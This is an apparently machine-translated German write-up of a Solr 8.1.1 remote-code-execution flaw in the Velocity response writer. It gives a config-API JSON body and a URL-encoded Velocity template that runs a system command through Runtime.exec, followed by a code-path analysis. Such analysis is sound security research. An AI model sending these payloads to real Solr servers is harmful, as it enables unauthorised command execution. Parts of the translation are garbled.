Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So analysieren Sie die neueste RCE-Schwachstelle in Apache Solr

So analysieren Sie die neueste RCE-Schwachstelle in Apache Solr

王林
王林nach vorne
2023-05-25 18:58:301462Durchsuche

Einführung

Eine RCE-0day-Schwachstelle wurde in Apache Solr entdeckt (die Schwachstellennummer wird nicht angegeben). Hier reproduzieren wir einfach das Objekt und analysieren den gesamten RCE-Prozess als Referenz.

Wiederkehr der Sicherheitslücke

Reproduktionsversion: 8.1.1

Zur Implementierung von RCE sind zunächst zwei Schritte erforderlich: Bestätigen Sie zunächst, dass die Anwendung einen bestimmten Kern aktiviert hat (kann in Core Admin angezeigt werden), und die Anwendung in der Instanz hat mycore aktiviert.

怎样进行Apache Solr最新RCE漏洞分析

Dann senden Sie zuerst die folgenden JSON-Daten an seine Konfigurationsschnittstelle,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎样进行Apache Solr最新RCE漏洞分析

Dann besuchen Sie die folgende URL, um RCE zu implementieren,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Prinzip

Analysieren Sie zuerst das erste Datenpaket, weil Da es sich um eine Mycore-Konfiguration handelt, setzen wir zunächst den Haltepunkt für die handleRequestBody-Funktion von SolrConfigHandler, der die Konfigurationsanforderung verarbeitet. Da es sich um eine POST-Anfrage handelt, folgen Sie der Funktion handlePOST. Nehmen Sie zuerst heraus mycore Die aktuelle Konfiguration wird gleichzeitig mit der von uns gesendeten Konfiguration in die Funktion handleCommands übernommen. In nachfolgenden Vorgängen wird schließlich die Funktion addNamedPlugin eingegeben und ein VelocityResponseWriter-Objekt mit solr.resource.loader.enabled und Parametern erstellt. Ressource: Der Wert von „loader.enabled“ ist auf „true“ gesetzt und der Name des Objekts ist „Velocity“.

怎样进行Apache Solr最新RCE漏洞分析

Wenn dann das zweite Datenpaket gesendet wird und der ResponseWriter in HttpSolrCall.call abgerufen wird, wird das ResponseWriter-Objekt entsprechend dem Wert des Parameters wt abgerufen. Wenn wt die Geschwindigkeit ist, erhalten wir das sorgfältig konfigurierte Objekt Nach einer Reihe nachfolgender Aufrufe ruft VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析 schließlich die VelocityResponseWriter.write-Funktion auf, die in unserer Schwachstelle am schwerwiegendsten ist. Zunächst wird die Funktion „createEngine“ aufgerufen, um eine schädliche Vorlage mit „custom.vrm“ zu generieren. >payload.engine,

怎样进行Apache Solr最新RCE漏洞分析Die schädliche Vorlage wird in params.resource.loader.instance und solr.resource.loader.instance der OverridingProperties der Engine platziert

怎样进行Apache Solr最新RCE漏洞分析

Hier gibt es einen sehr wichtigen Punkt, wenn Sie möchten die schädliche Vorlage erstellen. Geben Sie params.resource.loader.instance und solr.resource.loader.instance ein. Sie müssen sicherstellen, dass paramsResourceLoaderEnabled und solrResourceLoaderEnabled True sind. Dies ist, was unser erstes Datenpaket tut,

怎样进行Apache Solr最新RCE漏洞分析

und dann erhält VelocityResponseWriter. getTemplate die bösartige Vorlage, die wir basierend auf dem von uns übermittelten v.template-Parameter erstellt haben.

怎样进行Apache Solr最新RCE漏洞分析

Schließlich haben wir die bösartige Vorlage herausgenommen und ihre Zusammenführungsmethode aufgerufen Ich muss es verstehen Velocity Java-Vorlagen-Engine (da diese Vorlage ein org.apache.velocity.Template-Klassenobjekt ist), wird die offizielle Aussage wie folgt übersetzt:

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象

Aus dieser Aussage können wir ersehen, dass diese Vorlagen-Engine die Funktion hat Wir müssen nur die grundlegende Schreibmethode verstehen. 怎样进行Apache Solr最新RCE漏洞分析

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
Mit der obigen grundlegenden Syntaxeinführung können wir die Konstruktionsmethode der Nutzlast verstehen. Wenn Sie ein tieferes Verständnis wünschen, können Sie die Velocity Java-Informationen selbst überprüfen , wir sind hier Keine Tiefe mehr.

Durch die Zusammenführungsmethode der zuletzt aufgerufenen bösartigen Vorlage wurde RCE erfolgreich verursacht und schließlich die Schlüsselaufrufkette hinzugefügt.

怎样进行Apache Solr最新RCE漏洞分析

Reparaturplan

怎样进行Apache Solr最新RCE漏洞分析Derzeit ist der offizielle Patch nicht verfügbar. Es wird empfohlen, den Zugriff auf Solr einzuschränken.

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die neueste RCE-Schwachstelle in Apache Solr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen